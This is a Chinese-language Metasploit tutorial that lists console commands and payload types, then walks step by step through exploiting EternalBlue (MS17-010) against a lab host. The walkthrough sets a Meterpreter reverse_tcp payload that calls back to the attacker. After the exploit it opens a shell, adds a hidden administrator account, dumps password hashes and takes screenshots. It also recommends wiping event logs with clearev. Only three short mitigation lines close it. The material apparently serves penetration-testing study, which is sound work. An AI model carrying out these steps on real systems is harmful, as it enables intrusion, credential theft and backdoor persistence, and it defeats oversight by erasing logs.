kali-metasploit框架目录路径:/usr/share/metasploit-framework
kali-metasploit版本及更新
#查看版本
msfconsole -v
#更新
apt-get update
apt-get install metasploit-framework
启动msfconsole
命令 | 介绍 |
---|---|
show exploits | 查看所有可用的渗透攻击程序代码; |
show auxiliary | 查看所有可用的辅助攻击工具; |
show options/advanced | 查看该模块可用选项; |
show payloads | 查看该模块适用的所有有效载荷; |
show targets | 查看该模块适用的攻击目标类型; |
search xxx | 根据关键字搜索xxx模块; |
info | 显示某模块的详细信息; |
use xxx | 使用xxx渗透攻击模块; |
back | 回退 |
set/unset | 设置/禁用模块中的某个参数; |
setg/unsetg | 设置/禁用适用于所有模块的全局参数; |
命令 | 介绍 |
---|---|
? | 执行?命令:帮助菜单 |
search | 搜索模块名和描述。 |
use | 使用命令 |
back | 从当前环境返回。 |
Banner | 命令,显示一个MSF的banner。 |
color | 颜色转换 |
connect | 连接一个主机 |
exit | 退出MSF |
info | 显示一个或多个模块的信息 |
irb | 进入irb脚本模式。 |
jobs | 显示和管理作业(和windows任务管理器的进程作用一样) |
kill | 杀死一个作业(和结束进程的作用一样)。 |
loadpath | 加载一个模块的路径。 |
quit | 退出MSF。 |
load | 加载一个插件。 |
load | 加载一个插件。 |
route | 查看一个会话的路由信息。 |
save | 保存动作 |
set | 给一个变量赋值 |
show | 显示给所有类型的模块 |
setg | 把一个赋值给全局变量,例如上述set设置的IP,就会用到其他攻击模块的RHOST中 |
sleep | 在限定的秒数内什么也不做 |
unload | 卸载一个模块 |
unset | 解出一个或多个变量。 |
unsetg | 解出一个或多个全局变量 |
version | 显示MSF和控制台库版本 |
命令 | 介绍 |
---|---|
RHOST | 目标主机IP地址 |
RPORT | 目标主机连接端口 |
Payload | 有效的载荷,成功后返回shell |
LHOST | 攻击者的IP地址 |
LPORT | 攻击者的端 |
命令 | 介绍 |
---|---|
shell_find_tag | 在一个已建立的连接上创建一个shell |
shell_reverse_tcp | 反向连接到攻击者主机并创建一个shell |
bind_tcp | 监听一个tcp连接 |
reverse_tcp | 反向建立tcp连接 |
reverse_http | 通过HTTP隧道通信并创建一个新用户添加到管理组 |
add_user | 创建一个新用户并添加到管理组 |
xxx_ipv6_tcp | 基于IPV6 |
xxx_nonx_tcp | no execute或win7(NX是应用在CPU的一种可以防止缓冲区溢出的技术) |
xxx_ord_tcp | 有序payload |
xxx_tcp_allports | 在所有可能的端口 |
目前已知受影响的 Windows 版本包括但不限于:WindowsNT,Windows2000、Windows XP、Windows 2003、Windows Vista、Windows 7、Windows 8,Windows 2008、Windows 2008 R2、Windows Server 2012 SP0。
Metasploit攻击流程参考:
Metasploit进行渗透攻击的基本步骤:
1、 使用nmap进行端口扫描
2、 使用search命令查找相关模块
3、 使用use调度模块
4、 使用info查看模块信息
5、 选择payload作为攻击
6、 设置攻击参数
7、 渗透攻击
8、后渗透攻击
1、使用kali自带的nmap对靶机进行端口扫描,扫描到445端口处于开放状态
nmap 192.168.50.159
2、启动kali自带的msf,显示msf6>后说明已经进入msf了
msfconsole
3、搜寻永恒之蓝漏洞(MS17-010)可使用的攻击模块
search ms17-010
4、使用相应模块auxiliary/scanner/smb/smb_ms17_010对靶机进行验证,验证靶机是否存在永恒之蓝漏洞(MS17-010),可直接使用模块前面对应的数字,效果相同
use 3
5、查询配置,yes 全部需要手动配置,配置已经存在的,可以使用它给的默认配置也可以对该配置进行更改,no 就无需理会
show options
我这里只需配置RHOSTS(靶机IP地址)就行了,其他默认
set rhosts 192.168.50.159
配置有效载荷,该步的作用是攻击机扫描完后,使靶机反弹回一个会话给攻击机建立连接
set payload windows/x64/meterpreter/reverse_tcp
6、使用exploit或run命令进行攻击,显示靶机存在永恒之蓝漏洞(MS17-010)
exploit/run
7、正式开始攻击。换用攻击模块exploit/windows/smb/ms17_010_eternalblue对应前面的数字为0(我的此攻击模块对应前面的数字是0)
use 0
重复第5步步骤,注意:执行show options命令后查看到yes对应的地方如果是空的需要全部配上;
8.使用exploit或run命令进行攻击,这时靶机会反弹一个会话,然后可以进行下一步操作,比如查看靶机版本信息或者获取靶机的shell权限等
run
9、对靶机进行一系列操作
查看系统信息
sysinfo
反弹shell
shell
可以创建用户
net user xxxx 1234 /add(xxxx用户名 1234密码)
net localgroup administrators xxxx /add (将用户设置为管理员权限)
net user
得到账户hash,解码可以得到密码
hashdump
找到显示的路径可以看到受害者屏幕截图
screenshot
显示成功
记得保持清除日志的好习惯
clearev
1、开启防火墙
2、对系统进行升级或者打补丁
3、关闭相应的端口